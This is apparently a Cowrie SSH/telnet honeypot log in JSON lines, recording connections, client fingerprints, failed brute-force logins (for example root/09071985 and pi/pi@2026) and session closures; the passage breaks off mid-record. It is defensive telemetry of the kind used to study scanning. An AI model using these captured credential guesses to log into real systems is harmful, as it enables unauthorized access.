{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:15.958111Z","src_ip":"89.223.69.22","session":"ac54cccd6303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09071985","message":"login attempt [root/09071985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:16.312515Z","src_ip":"89.223.69.22","session":"ac54cccd6303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:17.434709Z","src_ip":"89.223.69.22","session":"ac54cccd6303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35236,"dst_ip":"159.203.135.109","dst_port":23,"session":"859ea8153b83","protocol":"telnet","message":"New connection: 128.199.8.54:35236 (159.203.135.109:23) [session: 859ea8153b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:17.976739Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":47922,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b03756d6284","protocol":"ssh","message":"New connection: 14.63.196.175:47922 (10.17.0.5:22) [session: 9b03756d6284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:25.943899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:25.948535Z","src_ip":"14.63.196.175","session":"9b03756d6284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:26.147285Z","src_ip":"14.63.196.175","session":"9b03756d6284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi@2026","message":"login attempt [pi/pi@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:26.973595Z","src_ip":"14.63.196.175","session":"9b03756d6284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:28.175642Z","src_ip":"14.63.196.175","session":"9b03756d6284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.223753452301025,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:30.977744Z","src_ip":"123.58.209.112","session":"bfa635f43c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":36372,"dst_ip":"159.203.135.109","dst_port":23,"session":"786732d10b41","protocol":"telnet","message":"New connection: 123.58.209.112:36372 (159.203.135.109:23) [session: 786732d10b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:31.182793Z"}
{"eventid":"cowrie.session.closed","duration":18.2150776386261,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:49.397717Z","src_ip":"123.58.209.112","session":"786732d10b41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":59538,"dst_ip":"159.203.135.109","dst_port":23,"session":"184463c33120","protocol":"telnet","message":"New connection: 123.58.209.112:59538 (159.203.135.109:23) [session: 184463c33120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:49.619534Z"}
{"eventid":"cowrie.session.closed","duration":61.49407744407654,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:52.908593Z","src_ip":"94.23.66.112","session":"8cca63eab412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.220901012420654,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:07.840301Z","src_ip":"123.58.209.112","session":"184463c33120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.49292182922363,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:09.469513Z","src_ip":"128.199.8.54","session":"859ea8153b83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":52848,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0cf88828dcb","protocol":"ssh","message":"New connection: 161.132.50.236:52848 (159.203.135.109:22) [session: f0cf88828dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:21.529890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:21.535322Z","src_ip":"161.132.50.236","session":"f0cf88828dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:21.623831Z","src_ip":"161.132.50.236","session":"f0cf88828dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"local","password":"local1","message":"login attempt [local/local1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:22.009398Z","src_ip":"161.132.50.236","session":"f0cf88828dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:23.100333Z","src_ip":"161.132.50.236","session":"f0cf88828dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38082,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b9b6281d99","protocol":"telnet","message":"New connection: 128.199.8.54:38082 (159.203.135.109:23) [session: e3b9b6281d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:23.303108Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"755f720b4f30","protocol":"telnet","message":"New connection: 172.81.62.90:52124 (159.203.135.109:23) [session: 755f720b4f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:28:29.649565Z"}
{"eventid":"cowrie.session.closed","duration":38.53771924972534,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:08.187155Z","src_ip":"172.81.62.90","session":"755f720b4f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.130","src_port":57930,"dst_ip":"159.203.135.109","dst_port":22,"session":"bae08f95788e","protocol":"ssh","message":"New connection: 198.235.24.130:57930 (159.203.135.109:22) [session: bae08f95788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:18.566750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:18.933888Z","src_ip":"198.235.24.130","session":"bae08f95788e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:20.075869Z","src_ip":"198.235.24.130","session":"bae08f95788e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:28.275451Z","src_ip":"198.235.24.130","session":"bae08f95788e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49352,"dst_ip":"159.203.135.109","dst_port":22,"session":"40d08d1db25e","protocol":"ssh","message":"New connection: 103.27.238.116:49352 (159.203.135.109:22) [session: 40d08d1db25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:33.919533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:33.926259Z","src_ip":"103.27.238.116","session":"40d08d1db25e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:34.188052Z","src_ip":"103.27.238.116","session":"40d08d1db25e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whocares","message":"login attempt [root/whocares] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:34.982784Z","src_ip":"103.27.238.116","session":"40d08d1db25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:36.243617Z","src_ip":"103.27.238.116","session":"40d08d1db25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.16509890556335,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:29:49.468084Z","src_ip":"128.199.8.54","session":"e3b9b6281d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f5ddf38471","protocol":"ssh","message":"New connection: 161.132.50.236:54020 (159.203.135.109:22) [session: 90f5ddf38471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:03.568656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:03.574579Z","src_ip":"161.132.50.236","session":"90f5ddf38471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:03.663345Z","src_ip":"161.132.50.236","session":"90f5ddf38471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user!@#$","message":"login attempt [user/user!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:04.050900Z","src_ip":"161.132.50.236","session":"90f5ddf38471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:05.143270Z","src_ip":"161.132.50.236","session":"90f5ddf38471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":46960,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6088921c37f","protocol":"ssh","message":"New connection: 14.63.196.175:46960 (10.17.0.5:22) [session: d6088921c37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:13.214551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:13.220326Z","src_ip":"14.63.196.175","session":"d6088921c37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:13.425472Z","src_ip":"14.63.196.175","session":"d6088921c37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"1234","message":"login attempt [monitor/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:14.249278Z","src_ip":"14.63.196.175","session":"d6088921c37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:30:15.455856Z","src_ip":"14.63.196.175","session":"d6088921c37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":58286,"dst_ip":"159.203.135.109","dst_port":22,"session":"cecd22032122","protocol":"ssh","message":"New connection: 161.132.50.236:58286 (159.203.135.109:22) [session: cecd22032122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:52.655734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:52.660368Z","src_ip":"161.132.50.236","session":"cecd22032122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-g